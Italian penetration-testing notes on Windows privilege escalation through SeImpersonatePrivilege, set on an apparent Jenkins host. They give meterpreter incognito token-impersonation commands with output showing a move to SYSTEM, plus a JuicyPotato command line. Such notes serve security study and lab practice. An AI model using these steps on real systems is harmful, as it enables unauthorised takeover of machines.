tags: priv_esc incognito impersonification token SeImpersonatePrivilege


Utilizzo dei privilegi e dei token

PS C:\Program Files (x86)\Jenkins> whoami /priv
 
PRIVILEGES INFORMATION
----------------------
 
Privilege Name                  Description                               State   
=============================== ========================================= ========
SeIncreaseQuotaPrivilege        Adjust memory quotas for a process        Disabled
SeSecurityPrivilege             Manage auditing and security log          Disabled
SeTakeOwnershipPrivilege        Take ownership of files or other objects  Disabled
SeLoadDriverPrivilege           Load and unload device drivers            Disabled
SeSystemProfilePrivilege        Profile system performance                Disabled
SeSystemtimePrivilege           Change the system time                    Disabled
SeProfileSingleProcessPrivilege Profile single process                    Disabled
SeIncreaseBasePriorityPrivilege Increase scheduling priority              Disabled
SeCreatePagefilePrivilege       Create a pagefile                         Disabled
SeBackupPrivilege               Back up files and directories             Disabled
SeRestorePrivilege              Restore files and directories             Disabled
SeShutdownPrivilege             Shut down the system                      Disabled
SeDebugPrivilege                Debug programs                            Enabled 
SeSystemEnvironmentPrivilege    Modify firmware environment values        Disabled
SeChangeNotifyPrivilege         Bypass traverse checking                  Enabled 
SeRemoteShutdownPrivilege       Force shutdown from a remote system       Disabled
SeUndockPrivilege               Remove computer from docking station      Disabled
SeManageVolumePrivilege         Perform volume maintenance tasks          Disabled
SeImpersonatePrivilege          Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege         Create global objects                     Enabled 
SeIncreaseWorkingSetPrivilege   Increase a process working set            Disabled
SeTimeZonePrivilege             Change the time zone                      Disabled
SeCreateSymbolicLinkPrivilege   Create symbolic links                     Disabled

Si puòvedere che sono abilitati due privilegi (SeDebugPrivilege, SeImpersonatePrivilege). Usiamo il modulo incognito che ci permetterà di sfruttare questa vulnerabilità. Possiamo usare load_incognito per caricare il modulo incognito con meterpreter:

Quando tramite il comando “whoami /priv” otteniamo come privilegio SeImpersonatePrivilege su Enabled possiamo cercare di impersonificare un token di un utente che possiede maggiori privilegi come NT-Authority. Per farlo possiamo caricarci una shell meterpreter tramite msfvenom sulla nostra macchina Windows vittima e poi eseguire i seguenti comandi:

meterpreter > load incognito                   #Qua carichiamo incognito
Loading extension incognito...Success.
meterpreter > list_tokens -g     #Qua vediamo quali token possiamo usare
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
             Call rev2self if primary process token is SYSTEM
 
Delegation Tokens Available
========================================
\
BUILTIN\Administrators
BUILTIN\Users
NT AUTHORITY\Authenticated Users
NT AUTHORITY\NTLM Authentication
NT AUTHORITY\SERVICE
NT AUTHORITY\This Organization
NT SERVICE\AudioEndpointBuilder
NT SERVICE\CertPropSvc
NT SERVICE\CscService
NT SERVICE\iphlpsvc
NT SERVICE\LanmanServer
NT SERVICE\PcaSvc
NT SERVICE\Schedule
NT SERVICE\SENS
NT SERVICE\SessionEnv
NT SERVICE\TrkWks
NT SERVICE\UmRdpService
NT SERVICE\UxSms
NT SERVICE\WdiSystemHost
NT SERVICE\Winmgmt
NT SERVICE\WSearch
NT SERVICE\wuauserv
 
Impersonation Tokens Available
========================================
No tokens available

Da questo output possiamo vedere che possiamo utilizzare BUILTIN\Administrators per ottenere privilegi di amministratore tramite il seguente comando:

meterpreter > impersonate_token "BUILTIN\Administrators"
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
             Call rev2self if primary process token is SYSTEM
[+] Delegation token available
[+] Successfully impersonated user NT AUTHORITY\SYSTEM
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Dopo aver ottenuto i privilegi di NT-Authority possiamo notare che non li abbiamo effettivamente perchè Windows ha un modo strano di rilasciare i privilegi quindi di fatto non possiamo ancora entrare nelle cartelle sensibili come config perchè abbiamo solo impersonificato un processo e non l’utente effettivo e quindi quel processo non ha accesso alle cartelle più sensibili, quindi per ottenere i privilegi effettivi dobbiamo migrare su un altro processo di sistema che ci fornirà privilegi assoluti, per farlo segui questa pagina Migrazione.

Sfruttamento dei Token senza utlizzare meterpreter

E possibile fare qualcosa di simile senza Meterpreter e senza il modulo Incognito, ma è più complicato. Questo perché Incognito fornisce una comoda interfaccia per gestire i token, ma puoi comunque sfruttare i token manualmente o con strumenti nativi di Windows (o altri exploit). Ecco alcune alternative:

  1. Utilizzo di strumenti nativi di Windows:
  • PowerShell: puoi utilizzare PowerShell per cercare token disponibili e usarli per impersonare altri utenti. In combinazione con funzioni di PowerShell come Invoke-TokenManipulation, è possibile emulare alcune funzionalità di Incognito.
  • runas: in alcuni casi, se hai un token disponibile, puoi utilizzare il comando runas per eseguire un comando con privilegi elevati.
  1. Sfruttare manualmente il SeImpersonatePrivilege:

Puoi usare un exploit chiamato JuicyPotato o la sua variante RoguePotato, strumenti che permettono di sfruttare il privilegio di impersonificazione su Windows per elevare i privilegi a NT AUTHORITY\SYSTEM.

JuicyPotato e RoguePotato funzionano sfruttando il fatto che Windows consente ai servizi con il privilegio di impersonare di elevare i propri privilegi a livello di sistema utilizzando chiamate COM locali.

Esempio con JuicyPotato:

JuicyPotato.exe -t * -p C:\Windows\System32\cmd.exe -l 1337
 

In questo esempio, JuicyPotato cercherà di sfruttare il privilegio SeImpersonate per eseguire il comando cmd.exe come SYSTEM.